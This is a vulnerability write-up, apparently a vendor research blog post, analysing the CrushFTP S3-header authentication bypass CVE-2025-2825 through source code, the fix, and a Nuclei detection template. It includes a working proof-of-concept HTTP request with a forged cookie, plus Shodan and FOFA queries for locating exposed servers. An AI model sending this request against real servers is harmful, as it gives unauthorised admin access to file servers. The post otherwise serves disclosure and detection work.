-

9 min read

CrushFTP Authentication Bypass - CVE-2025-2825

CrushFTP Authentication Bypass - CVE-2025-2825

Enterprise file transfer solutions are critical infrastructure for many organizations, facilitating secure data exchange between systems and users. CrushFTP, a widely used multi-protocol file transfer server, offers an extensive feature set including Amazon S3-compatible API access. However, a critical vulnerability (CVE-2025-2825) was discovered in versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 that allows unauthenticated attackers to bypass authentication and gain unauthorized access.

This vulnerability, originally discovered and reported by the Outpost24 team to CrustFTP, received a CVSS score of 9.8 (Critical) due to its low complexity, network-based attack vector, and potential impact. In this research, we explore how seemingly minor implementation details in authentication mechanisms—particularly the reuse of authentication flags for multiple purposes—can lead to severe security implications.

Understanding CrushFTP and S3 Authentication

CrushFTP supports multiple protocols including FTP, SFTP, WebDAV, and HTTP/S, making it a versatile file transfer solution. As of version 10, it also implements S3-compatible API access, allowing clients to interact with it using the same API format used for Amazon S3 storage services.

S3 authentication typically uses a request signing mechanism where clients include an Authorization header with a format similar to:

http

1Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

The server extracts the AccessKey value from the Credential field to identify the user, then verifies the Signature to ensure the request is authentic. CrushFTP's implementation of this mechanism contained a critical flaw that we'll examine in detail.

Vulnerability Deep Dive

The vulnerability exists in the loginCheckHeaderAuth() method of ServerSessionHTTP.java, which processes HTTP requests with S3-style authorization headers. Let's examine the key parts of this vulnerable code:

java

1if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
2    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
3    
4    // Extract the username from credential field
5    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
6    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
7    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
8    
9    // Initialize variables
10    String user_pass = null;
11    String user_name = s3_username3;
12    boolean lookup_user_pass = true;  // Default to true - this is crucial!
13    
14    // Check if username contains a tilde
15    if (s3_username3.indexOf("~") >= 0) {
16        user_pass = user_name.substring(user_name.indexOf("~") + 1);
17        user_name = user_name.substring(0, user_name.indexOf("~"));
18        lookup_user_pass = false;
19    }
20    
21    // In version 11.3.0, there's no security check here
22    
23    // Attempt to authenticate the user
24    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
25        // Authentication succeeds
26    }
27}

The critical issue is with the lookup_user_pass flag. This flag has dual purposes:

  1. Originally, it was intended to indicate whether the system should look up a user's password from storage (when true) or use a provided password (when false)
  2. However, the same flag is directly passed as the first parameter to login_user_pass(), where it is used as the anyPass parameter

This parameter overloading creates the vulnerability - especially because by default, lookup_user_pass is set to true when processing S3 authentication headers if the username doesn't contain a tilde character (~).

Header Parsing and Username Extraction

Below is a concise analysis of how CrushFTP parses the Authorization header using our exploit example:

http

1Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

The parsing happens in sequential string operations:

java

1// Check if header exists and starts with "AWS4-HMAC"
2if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
3    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
4    
5    // Extract username through string operations
6    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
7    // s3_username = "AWS4-HMAC-SHA256 Credential=crushadmin/"
8    
9    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
10    // s3_username2 = "crushadmin/"
11    
12    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
13    // s3_username3 = "crushadmin"
14    
15    String user_name = s3_username3;
16    boolean lookup_user_pass = true;  // Default to true
17    
18    // Only change lookup_user_pass if username contains tilde
19    if (s3_username3.indexOf("~") >= 0) {
20        user_pass = user_name.substring(user_name.indexOf("~") + 1);
21        user_name = user_name.substring(0, user_name.indexOf("~"));
22        lookup_user_pass = false;
23    }
24}

The header works effectively because:

  1. It needs only to start with "AWS4-HMAC" to be processed as S3 authentication
  2. It requires only "Credential=username/" format to extract the username
  3. The signature validation is bypassed in the vulnerable flow
  4. No additional S3 parameters are needed as the code only extracts the username portion

This simple parsing makes exploitation straightforward, as attackers need only create a header with a valid username followed by a slash character.

Tracing the Authentication Flow

To fully understand this vulnerability, we need to follow the authentication flow through multiple method calls, tracing how the lookup_user_pass flag ultimately leads to authentication bypass.

Step 1: loginCheckHeaderAuth() Method

The authentication process begins in the loginCheckHeaderAuth() method, which is triggered when an HTTP request with an S3 authorization header is received:

java

1// Inside loginCheckHeaderAuth() in ServerSessionHTTP.java
2if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
3    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
4    // ...
5    
6    // Here, lookup_user_pass gets set to true by default
7    boolean lookup_user_pass = true;
8    
9    // It only changes to false if the username contains a tilde
10    if (s3_username3.indexOf("~") >= 0) {
11        user_pass = user_name.substring(user_name.indexOf("~") + 1);
12        user_name = user_name.substring(0, user_name.indexOf("~"));
13        lookup_user_pass = false;
14    }
15    
16    // The lookup_user_pass flag is then passed directly as the first parameter
17    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
18        // Authentication succeeds
19    }
20}

Step 2: login_user_pass() Method

The login_user_pass() method in SessionCrush.java takes lookup_user_pass as its first parameter, named anyPass:

java

1// Inside SessionCrush.java
2public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
3    // Various validations and logging happen here
4    
5    if (user_name.length() <= 2000) {
6        int length = user_pass.length();
7        ServerStatus serverStatus = ServerStatus.thisObj;
8        if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
9            Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
10            uiPUT("last_logged_command", "USER");
11            
12            // Numerous other checks and validations
13            
14            // Eventually we call verify_user with the anyPass parameter
15            boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
16            
17            if (verified && this.user != null) {
18                // Authentication success handling
19                return true;
20            }
21        }
22    }
23    
24    return false;
25}

Step 3: verify_user() Method in SessionCrush

In the verify_user() method (also in SessionCrush.java), the anyPass parameter is passed further down to the actual user verification function:

java

1// Inside SessionCrush.java
2public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
3    // Various user validation and formatting logic
4    
5    // The anyPass value is passed to the UserTools.ut.verify_user method
6    this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, 
7        uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), 
8        uiIG("user_port"), this.server_item, loginReason, anyPass);
9    
10    // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
11    if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
12        this.user_info.put("plugin_user_auth_info", "Password incorrect.");
13    }
14    
15    // Various other checks and return logic
16    return this.user != null;
17}

Step 4: UserTools.ut.verify_user() Method

The final step is in the verify_user() method of UserTools.java, where the anyPass parameter determines whether password verification is required:

java

1// Inside UserTools.java
2public Properties verify_user(
3    ServerStatus server_status_frame,
4    String the_user,
5    String the_password,
6    String serverGroup,
7    SessionCrush thisSession,
8    int user_number,
9    String user_ip,
10    int user_port,
11    Properties server_item,
12    Properties loginReason,
13    boolean anyPass
14) {
15    // User lookup and validation logic
16    Properties user = this.getUser(serverGroup, the_user, true);
17    
18    // Here's the critical vulnerability:
19    // If anyPass is true, password verification is skipped entirely
20    if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
21        return user;  // Authentication succeeds without any password check
22    }
23    
24    // Otherwise normal password verification occurs
25    if (user.getProperty("username").equalsIgnoreCase(the_user) && 
26        check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
27        return user;
28    }
29    
30    // Authentication fails
31    return null;
32}

The most critical part of this chain is in UserTools.java. When anyPass is true (which happens by default for S3 authorization headers without a tilde in the username), password verification is completely bypassed with this simple condition:

java

1if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
2    return user;  // Authentication succeeds without any password check
3}

This is a clear authentication bypass, the password check is skipped entirely.

Proof of Concept

Exploiting this vulnerability is straightforward. An attacker only needs to craft an HTTP request with:

  1. An AWS S3-style authorization header with a valid username
  2. A CrushAuth cookie with matching c2f parameter values

Here's the exploit:

http

1GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
2Host: target-server:8081
3Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
4Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Breaking down this exploit:

  1. We're using the simplest possible authorization header: AWS4-HMAC-SHA256 Credential=crushadmin/
  2. No signature or additional S3 parameters are needed
  3. The username "crushadmin" has no tilde (~), so lookup_user_pass defaults to true
  4. This causes the anyPass parameter to be true, bypassing password validation entirely
  5. The CrushAuth cookie doesn't need to be valid - it just needs to be 44 characters in a specific format:
    • First 13 characters as numbers (e.g., 1743113839553)
    • An underscore (_)
    • 30 characters string (e.g., vD96EZ70ONL6xAd1DAJhXMZYMn1111)
    • The last 4 characters of this string (1111) must match the c2f parameter value
    • This cookie can be completely random as long as it follows this format

ss.png

We can verify the exploitation by examining the system's response - a successful response indicates the vulnerability has been successfully exploited. The attacker can then access files, upload malicious content, create admin users, Basically gain complete access to the server.

Understanding the Fix

CrushFTP addressed this vulnerability in version 11.3.1 through several key changes:

  1. A new security parameter s3_auth_lookup_password_supported was added and set to false by default:

java

1// In Common.java
2default_settings.put("s3_auth_lookup_password_supported", "false");
  1. A security check was added to block the vulnerable path when lookup_user_pass would be true:

java

1// In ServerSessionHTTP.java
2if (s3_username3.indexOf("~") >= 0) {
3    user_pass = user_name.substring(user_name.indexOf("~") + 1);
4    user_name = user_name.substring(0, user_name.indexOf("~"));
5    lookup_user_pass = false;
6} else {
7    ServerStatus serverStatus = ServerStatus.thisObj;
8    if (!ServerStatus.BG("s3_auth_lookup_password_supported")) {
9        return; // Early exit prevents vulnerable authentication flow
10    }
11}
  1. The authentication flow was changed to properly implement the intended behavior of lookup_user_pass:

java

1// In ServerSessionHTTP.java
2Properties tmp_user = UserTools.ut.getUser(this.thisSession.server_item.getProperty("linkedServer", ""), user_name);
3if (tmp_user != null && lookup_user_pass) {
4    // Actually look up the user's password from storage
5    user_pass = com.crushftp.client.Common.encryptDecrypt(tmp_user.getProperty("password"), false);
6}
7if (tmp_user != null && user_pass != null) {
8    // Continue authentication with proper validation
9}

These changes effectively address the vulnerability by ensuring proper password validation occurs even when processing S3 authentication headers. The fix separates the concerns of password lookup from authentication bypass, correctly implementing the intended logic.

Nuclei Template for Detection

We've created a Nuclei template to easily identify vulnerable CrushFTP instances:

yaml

1id: CVE-2025-2825
2
3info:
4  name: CrushFTP Authentication Bypass
5  author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch
6  severity: critical
7  description: |
8    CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
9  reference:
10    - https://projectdiscovery.io/blog/crushftp-authentication-bypass/
11    - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
12    - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
13  classification:
14    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
15    cvss-score: 9.8
16    cve-id: CVE-2025-2825
17    cwe-id: CWE-287
18    epss-score: 0.00039
19    epss-percentile: 0.08378
20  metadata:
21    max-request: 2
22    vendor: crushftp
23    product: crushftp
24    shodan-query:
25      - http.title:"CrushFTP WebInterface"
26      - http.favicon.hash:-1022206565
27      - http.html:"crushftp"
28    fofa-query:
29      - icon_hash="-1022206565"
30      - title="CrushFTP WebInterface"
31      - body="crushftp"
32  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce
33
34variables:
35  string_1: "{{rand_text_numeric(13)}}"
36  string_2: "{{rand_text_alpha(28)}}"
37  string_3: "{{rand_text_numeric(4)}}"
38
39http:
40  - raw:
41      - |
42        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
43        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
44        Host: {{Hostname}}
45        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
46        Origin: {{RootURL}}
47        Referer: {{RootURL}}/WebInterface/login.html
48        X-Requested-With: XMLHttpRequest
49        Accept-Encoding: gzip
50
51      - |
52        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
53        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
54        Host: {{Hostname}}
55        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
56        Origin: {{RootURL}}
57        Referer: {{RootURL}}/WebInterface/login.html
58        X-Requested-With: XMLHttpRequest
59        Accept-Encoding: gzip
60
61    stop-at-first-match: true
62    matchers-condition: and
63    matchers:
64      - type: word
65        part: body
66        words:
67          - "<user_list_subitem>crushadmin</user_list_subitem>"
68
69      - type: word
70        part: content_type
71        words:
72          - "text/xml"
73
74      - type: status
75        status:
76          - 200

This template attempts to access the user list API via the authentication bypass. A successful exploit returns an HTTP 200 response with all users present in the CrushFTP server. We noticed certain server configurations require two requests to trigger this vulnerability; therefore, the template sends two requests.

Nuclei Templates Lab - CVE-2025-2825

We have recently launched our Nuclei Templates Lab, a dedicated environment designed for hands-on practice with the latest CVEs. We've included a lab specifically for CVE-2025-2825, allowing you to explore and understand this vulnerability in a controlled setting. You can access the lab for this CVE here.

Timeline for CVE-2025-2825:

  • March 26, 2025: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a critical vulnerability in CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 that may result in unauthenticated access.
  • March 26, 2025: CrushFTP released versions 11.2.3 and 10.8.3 to address the vulnerability and urged customers to upgrade their server instances promptly.
  • March 27, 2025: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.
  • March 28, 2025: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-2825, facilitating the identification of vulnerable CrushFTP instances.

Conclusion

CVE-2025-2825 demonstrates how parameter overloading in authentication systems can lead to critical vulnerabilities. This case shows that reusing a flag meant for password lookup as an authentication bypass control creates a severe security flaw.

For developers, this underscores the importance of maintaining clear separation of concerns in security-critical code. When implementing multi-protocol authentication systems, consistent validation across all paths is essential.

If you're running CrushFTP, upgrade to version 11.3.1+ immediately or implement network-level access controls to restrict server connections.

This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.